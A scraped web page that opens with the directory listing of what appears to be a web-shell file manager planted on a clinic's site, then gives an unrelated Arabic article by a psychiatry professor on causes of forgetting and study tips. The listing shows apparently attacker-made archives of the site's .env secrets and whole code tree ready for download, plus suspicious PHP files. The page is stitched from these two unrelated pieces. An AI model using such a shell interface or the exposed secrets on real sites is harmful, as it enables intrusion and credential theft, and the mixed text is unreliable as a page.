#fklglgfggs* File manager
File manager - /home/u369212014/domains/profghanem.com/public_html/
     
Filename Size Date Rights Manage
     . 2025-07-03 23:35:38
     .. 2025-07-03 01:01:40
     .idea 2023-12-27 09:30:31 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     .well-known 2023-12-27 09:29:34 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     app 2023-12-27 09:29:30 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     assets 2023-12-27 09:30:19 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     bootstrap 2023-12-27 09:30:08 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     config 2025-07-03 09:34:45 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     css 2023-12-27 09:30:09 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     database 2023-12-27 09:29:42 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     images 2025-07-03 09:34:45 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     js 2025-07-03 09:34:45 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     public 2023-12-27 09:29:11 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     resources 2023-12-27 09:29:44 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     scripts 2023-12-27 09:30:22 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     storage 2023-12-27 09:28:47 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     tests 2025-07-03 09:34:45 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     uploads 2025-07-03 09:34:45 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     vendor 2023-12-27 09:28:53 drwxr-xr-x Delete Rename   Compress zip   Compress .tar.gz
     .DS_Store 10244 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     .DS_Store.tar 12288 2025-07-03 23:08:42 -rw-r--r-- Delete Rename   Download
     .env 332 2023-05-30 20:58:55 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     .env.example 286 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     .env.example.tar 2048 2025-07-03 13:03:37 -rw-r--r-- Delete Rename   Download
     .env.tar 2048 2025-07-03 12:34:26 -rw-r--r-- Delete Rename   Download
     .gitattributes 61 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     .gitattributes.tar 2048 2025-07-03 23:12:21 -rw-r--r-- Delete Rename   Download
     .gitignore 27 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     .gitignore.tar 2048 2025-07-03 17:28:43 -rw-r--r-- Delete Rename   Download
     .htaccess 6567 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     .htaccess.tar 8192 2025-07-03 12:24:19 -rw-r--r-- Delete Rename   Download
     .idea.tar 72192 2025-07-03 20:51:17 -rw-r--r-- Delete Rename   Download
     .idea.zip 62982 2025-07-03 20:42:30 -rw-r--r-- Delete Rename   Download
     .well-known.tar 5632 2025-07-03 13:44:09 -rw-r--r-- Delete Rename   Download
     .well-known.zip 1563 2025-07-03 14:12:59 -rw-r--r-- Delete Rename   Download
     1index.php 62 2025-07-03 06:18:02 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     1index.php.tar.gz 170 2025-07-03 18:24:52 -rw-r--r-- Delete Rename   Download
     DS_Store.DS_Store.tar.gz 1285 2025-07-03 11:52:49 -rw-r--r-- Delete Rename   Download
     akp.php 81794 2016-10-11 01:01:37 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     akp.php.tar.gz 26870 2025-07-03 23:03:43 -rw-r--r-- Delete Rename   Download
     app.tar.gz 24838 2025-07-03 21:58:25 -rw-r--r-- Delete Rename   Download
     app.zip 141780 2025-07-03 20:50:23 -rw-r--r-- Delete Rename   Download
     artisan 1635 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     artisan.tar.gz 798 2025-07-03 18:28:49 -rw-r--r-- Delete Rename   Download
     assets.tar.gz 3838457 2025-07-03 21:59:44 -rw-r--r-- Delete Rename   Download
     assets.zip 13747484 2025-07-03 22:00:48 -rw-r--r-- Delete Rename   Download
     bootstrap.tar.gz 259061 2025-07-03 12:26:19 -rw-r--r-- Delete Rename   Download
     bootstrap.zip 997454 2025-07-03 12:13:31 -rw-r--r-- Delete Rename   Download
     bower.json 426 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     bower.json.tar.gz 360 2025-07-03 23:09:44 -rw-r--r-- Delete Rename   Download
     composer.json 1200 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     composer.json.tar.gz 591 2025-07-03 18:30:26 -rw-r--r-- Delete Rename   Download
     composer.lock 128859 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     composer.lock.tar.gz 15292 2025-07-03 17:23:30 -rw-r--r-- Delete Rename   Download
     config.zip 121592 2025-07-03 22:02:40 -rw-r--r-- Delete Rename   Download
     css.tar.gz 425966 2025-07-03 22:55:04 -rw-r--r-- Delete Rename   Download
     css.zip 1763959 2025-07-03 20:44:16 -rw-r--r-- Delete Rename   Download
     database.tar.gz 1071 2025-07-03 15:08:10 -rw-r--r-- Delete Rename   Download
     database.zip 5965 2025-07-03 14:15:59 -rw-r--r-- Delete Rename   Download
     default.php 16590 2024-11-11 13:51:27 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     default.php.tar.gz 5941 2025-07-03 16:06:41 -rw-r--r-- Delete Rename   Download
     env.env.example.tar.gz 318 2025-07-03 12:37:31 -rw-r--r-- Delete Rename   Download
     env.env.tar.gz 333 2025-07-03 12:33:56 -rw-r--r-- Delete Rename   Download
     file.php 63289 2025-07-03 06:09:51 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     file.php.tar.gz 21674 2025-07-03 21:52:43 -rw-r--r-- Delete Rename   Download
     gitattributes.gitattributes.tar.gz 175 2025-07-03 16:03:41 -rw-r--r-- Delete Rename   Download
     gitignore.gitignore.tar.gz 159 2025-07-03 11:31:34 -rw-r--r-- Delete Rename   Download
     gulpfile.js 1276 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     gulpfile.js.tar.gz 610 2025-07-03 16:03:03 -rw-r--r-- Delete Rename   Download
     htaccess.htaccess.tar.gz 1961 2025-07-03 11:51:48 -rw-r--r-- Delete Rename   Download
     idea.tar.gz 6643 2025-07-03 14:21:26 -rw-r--r-- Delete Rename   Download
     images.tar.gz 3944938 2025-07-03 21:57:37 -rw-r--r-- Delete Rename   Download
     images.zip 4237754 2025-07-03 21:55:49 -rw-r--r-- Delete Rename   Download
     index.php 1859 2023-12-27 09:32:36 -r--r--r-- Delete Rename   Download   Compress .tar.gz
     index.php.tar.gz 882 2025-07-03 12:21:38 -rw-r--r-- Delete Rename   Download
     index0.php 1828 2025-07-03 06:18:07 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     index0.php.tar.gz 858 2025-07-03 18:24:00 -rw-r--r-- Delete Rename   Download
     js.tar.gz 79120 2025-07-03 22:53:09 -rw-r--r-- Delete Rename   Download
     js.zip 237110 2025-07-03 22:54:09 -rw-r--r-- Delete Rename   Download
     monarx-analyzer.php 3845 2025-07-03 09:35:51 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     monarx-analyzer.php.tar.gz 1355 2025-07-03 20:41:25 -rw-r--r-- Delete Rename   Download
     npm-debug.log 1469 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     npm-debug.log.tar.gz 681 2025-07-03 23:11:36 -rw-r--r-- Delete Rename   Download
     package.json 142 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     package.json.tar.gz 227 2025-07-03 12:36:46 -rw-r--r-- Delete Rename   Download
     phpspec.yml 87 2023-05-30 20:58:16 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     phpspec.yml.tar.gz 189 2025-07-03 16:06:22 -rw-r--r-- Delete Rename   Download
     phpunit.xml 777 2023-05-30 20:58:15 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     phpunit.xml.tar.gz 457 2025-07-03 16:04:16 -rw-r--r-- Delete Rename   Download
     public.zip 1074195 2025-07-03 11:17:19 -rw-r--r-- Delete Rename   Download
     readme.md 372 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     readme.md.tar.gz 353 2025-07-03 12:11:26 -rw-r--r-- Delete Rename   Download
     resources.tar.gz 23677685 2025-07-03 12:05:00 -rw-r--r-- Delete Rename   Download
     resources.zip 31788834 2025-07-03 12:03:45 -rw-r--r-- Delete Rename   Download
     robots.txt 1113 2025-07-03 06:48:04 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     robots.txt.tar.gz 249 2025-07-03 23:10:43 -rw-r--r-- Delete Rename   Download
     scripts.tar.gz 4808028 2025-07-03 12:35:17 -rw-r--r-- Delete Rename   Download
     scripts.zip 5319522 2025-07-03 19:28:32 -rw-r--r-- Delete Rename   Download
     server.php 560 2023-05-30 20:58:17 -rw-r--r-- Delete Rename   Download   Compress .tar.gz
     server.php.tar.gz 526 2025-07-03 18:32:23 -rw-r--r-- Delete Rename   Download
     storage.tar.gz 116078 2025-07-03 22:00:15 -rw-r--r-- Delete Rename   Download
     storage.zip 4912441 2025-07-03 17:28:21 -rw-r--r-- Delete Rename   Download
     tests.tar.gz 610 2025-07-03 15:07:18 -rw-r--r-- Delete Rename   Download
     tests.zip 1498 2025-07-03 15:09:40 -rw-r--r-- Delete Rename   Download
     uploads.zip 16439746 2025-07-03 18:31:28 -rw-r--r-- Delete Rename   Download
     vendor.tar.gz 4289828 2025-07-03 21:56:49 -rw-r--r-- Delete Rename   Download
     vendor.zip 22746636 2025-07-03 21:59:09 -rw-r--r-- Delete Rename   Download
     well-known.tar.gz 321 2025-07-03 11:49:07 -rw-r--r-- Delete Rename   Download
     zj2054 1524 2025-07-03 06:17:28 -r--r--r-- Delete Rename   Download   Compress .tar.gz
     zj2054.tar.gz 1689 2025-07-03 12:17:21 -rw-r--r-- Delete Rename   Download
      | ver. 1.4 | Github | . | PHP 5.6.40 | Generation time: 0.18 | proxy | phpinfo | xls | Settings
روشتة المذاكرة
2 شارع شريف عمارة اللواء – باب اللوق– القاهرة – مصر 01272254611 - 0223934171
مقال الدكتور محمد غانم

روشتة المذاكرة

روشتة المذاكرة

كل ما أذاكر أنسى كل حاجه 
مش قادر أحفظ ولا كلمة ومافيش معلومه بتثبت في دماغي..!
كلام ممكن نكون بنسمعه من أغلب الطلبة وخصوصاً وقت الإمتحانات
يقول أ.د. محمد غانم، أستاذ الطب النفسي بجامعة عين شمس
للنسيان أسباب عضوية وأسباب نفسية..
فالأسباب العضوية مثل الإدمان وإصابات الرأس والصرع ونقص الدورة الدموية.أما الأسباب النفسية مثل القلق والخوف وسرعة التشتت والإكتئاب والفصام.

اما النسيان المرتبط بالعملية التعليمية فهي كثيرة مثل أن تكون المادة غير محببه للطالب
أو مطلوب منه التركيز على الحفظ دون الفهم أو يكون كتابها غامض العبارات ضعيف المحتوى أو أن يكون مدرس المادة لا يؤدي دورة المطلوب في الشرح والتوضيح
أو تكون طريقة المذاكرة هي التي تحتاج الي مراجعه.
لذلك يقدم لك د. غانم روشتة سريعة للمذاكرة 
1- يجب أن يقرأ الطالب المادة أولاً سريعاً ثم يحدد الإطار الذي يدور فيه موضوع الدرس، ثم يقرأ التفاصيل ومحاولة فهمها ثم تلخيصها، ولا ينسى التسميع بعد كل فقرة لان ذلك يثبت المعلومات. 
2- مراجعة الدروس كل فترة مما يزيد من تثبيت المعلومات داخل المخ.
3- إستخدام الكتابة والتوضيح بالرسومات يسهل عملية الإسترجاع. 
4- المذاكرة بصوت مرتفع. 
5- مناقشة الدروس بين الزملاء أو الشرح لهم.
كما نصح د. غانم حين يبدأ الطالب المذاكرة يجب عليه أن يترك جميع مشاكله الشخصية جانباً حتي يستطيع تجميع 
كل طاقته للمذاكرة وإسترجاعها.

© جميع حقوق البرمجة والتصميم محفوظة لشركة Brandkey.info